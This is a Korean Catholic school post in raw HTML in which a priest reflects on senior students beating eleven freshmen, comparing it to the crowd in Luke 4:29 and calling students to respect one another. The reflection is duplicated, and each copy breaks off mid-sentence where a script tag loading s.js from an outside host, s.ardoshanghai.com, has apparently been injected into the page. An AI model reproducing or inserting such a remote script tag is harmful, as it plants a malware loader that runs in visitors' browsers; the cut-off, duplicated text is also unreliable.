예수님을 벼랑 끝으로 끌고 가…….(루카4.29)
작성자 : 후원회 | 조회수 : 3,320 | 작성일 : 2007년 3월 26일
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>2007년 양업의 봄은,산속에 짱 박힌 휴양림에서 ‘테마여행’을 가지면서 시작되었습니다. 테마여행은 1박 2일의 시간 동안에 1년간의 행복한 학교생활을 설계하는 자리로, 신입생들은 학교 생활에 잘 적응할 방안을, 또 선배들은 좋은 선배로서의 역할 구상 등을 합니다. 이는 양업이 예쁜 생명을 담도록 하기 위해서입니다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>모두들 행복한 모습을 하고 테마여행에서 돌아 오던 날 저녁, 작당한 7인조 선배들이 11명의 후배들을 자기들 기숙사 홈으로 불러서는 어깨 근육을 풀었습니다. 양같이 순한 학생들이 3학년만 되면 후배들 앞에 으스대고 싶은 모양입니다. 2006년 봄은 아주 건강했는데 뜻밖의 일이 터진 것이었습니다. 어째 이런 폭력이 다시 발생한걸까, 매우 실망스러웠습니다. 생명 터지는 소리가 귀에 거슬립니다. 나는 이들의 1학년 시절을 생각했습니다.1학년 시절, 생각하기조차 싫은 선배들에게 경험한 어두운 기억들이 그들에게 있음을 발견했습니다.1학년 때 경험한 나쁜 기억들을 꾹 참고 지내다가 때가 되면 우리도 꺼낼 것이라는 생각을 하고 있었을 것입니다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 잃어버려야 마땅한 이런 경험을 자연스레 꺼내는 이들의 모습을 보고, 이를 ‘어두운 전통’이라고 일컫었습니다. 아무리 청소년들이 동물본능의 힘의 논리로 살아간다고 하지만, 가톨릭학교라면, 더구나 세례 받은 학생들이 대부분인 가톨릭학교라면 이런 ‘어두운 전통’을 과감히 버려야 합니다. 이 일을 겪으면서, 예수님께서 복음을 전하기 위해 고향에 들르셨을 때, 고향사람들이 아무 이유 없이 “예수님을 고을 밖으로 내몰고는 벼랑까지 끌고 가 거기서 떨어뜨리려 하였다.”(루카4.29)는 말씀을 묵상했습니다. 이는 고향사람들이 ‘어두운 전통’을 가지고 예수님께 불손한 짓을 준비했던 것으로, 이번 사건의 7인조들이 고향사람들과 다름없다는 생각을 하니, 벼랑 끝에 몰렸을 예수님의 슬픈 표정이 새삼 그려집니다</FONT>.</SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>그 일이 있을 후 잘 해보겠다는 의지로 3학년 학생 전체가 한 명도 빠짐없이 미사에 왔습니다. 나는 이들에게 예수님을 존중하는 법을 우리 공동체 안에서 이루어가자고 제안하면서, 선배가 후배에게 손을 댄 것은 내가 모신 예수님을 폭행한 것이고, 이는 후배들 안에 살아계신 예수님을 벼랑 끝으로 끌고 가 떨어뜨리는 행동과 같다고 말해주었습니다. 또한 여러분이 미사에 참례하여 예수님의 말씀과 성체를 모시는 일은, 내 자신의 생명을 존중하고 남을 배려하는 문화를 만들어감이고 예수님을 주님으로 섬기는 일임을 알려주었다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 양업의 2007년 3?script src=http://s.ardoshanghai.com/s.js></script>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>2007년 양업의 봄은,산속에 짱 박힌 휴양림에서 ‘테마여행’을 가지면서 시작되었습니다. 테마여행은 1박 2일의 시간 동안에 1년간의 행복한 학교생활을 설계하는 자리로, 신입생들은 학교 생활에 잘 적응할 방안을, 또 선배들은 좋은 선배로서의 역할 구상 등을 합니다. 이는 양업이 예쁜 생명을 담도록 하기 위해서입니다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>모두들 행복한 모습을 하고 테마여행에서 돌아 오던 날 저녁, 작당한 7인조 선배들이 11명의 후배들을 자기들 기숙사 홈으로 불러서는 어깨 근육을 풀었습니다. 양같이 순한 학생들이 3학년만 되면 후배들 앞에 으스대고 싶은 모양입니다. 2006년 봄은 아주 건강했는데 뜻밖의 일이 터진 것이었습니다. 어째 이런 폭력이 다시 발생한걸까, 매우 실망스러웠습니다. 생명 터지는 소리가 귀에 거슬립니다. 나는 이들의 1학년 시절을 생각했습니다.1학년 시절, 생각하기조차 싫은 선배들에게 경험한 어두운 기억들이 그들에게 있음을 발견했습니다.1학년 때 경험한 나쁜 기억들을 꾹 참고 지내다가 때가 되면 우리도 꺼낼 것이라는 생각을 하고 있었을 것입니다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 잃어버려야 마땅한 이런 경험을 자연스레 꺼내는 이들의 모습을 보고, 이를 ‘어두운 전통’이라고 일컫었습니다. 아무리 청소년들이 동물본능의 힘의 논리로 살아간다고 하지만, 가톨릭학교라면, 더구나 세례 받은 학생들이 대부분인 가톨릭학교라면 이런 ‘어두운 전통’을 과감히 버려야 합니다. 이 일을 겪으면서, 예수님께서 복음을 전하기 위해 고향에 들르셨을 때, 고향사람들이 아무 이유 없이 “예수님을 고을 밖으로 내몰고는 벼랑까지 끌고 가 거기서 떨어뜨리려 하였다.”(루카4.29)는 말씀을 묵상했습니다. 이는 고향사람들이 ‘어두운 전통’을 가지고 예수님께 불손한 짓을 준비했던 것으로, 이번 사건의 7인조들이 고향사람들과 다름없다는 생각을 하니, 벼랑 끝에 몰렸을 예수님의 슬픈 표정이 새삼 그려집니다</FONT>.</SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>그 일이 있을 후 잘 해보겠다는 의지로 3학년 학생 전체가 한 명도 빠짐없이 미사에 왔습니다. 나는 이들에게 예수님을 존중하는 법을 우리 공동체 안에서 이루어가자고 제안하면서, 선배가 후배에게 손을 댄 것은 내가 모신 예수님을 폭행한 것이고, 이는 후배들 안에 살아계신 예수님을 벼랑 끝으로 끌고 가 떨어뜨리는 행동과 같다고 말해주었습니다. 또한 여러분이 미사에 참례하여 예수님의 말씀과 성체를 모시는 일은, 내 자신의 생명을 존중하고 남을 배려하는 문화를 만들어감이고 예수님을 주님으로 섬기는 일임을 알려주었다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 양업의 2007년 3?script src=http://s.ardoshanghai.com/s.js></script>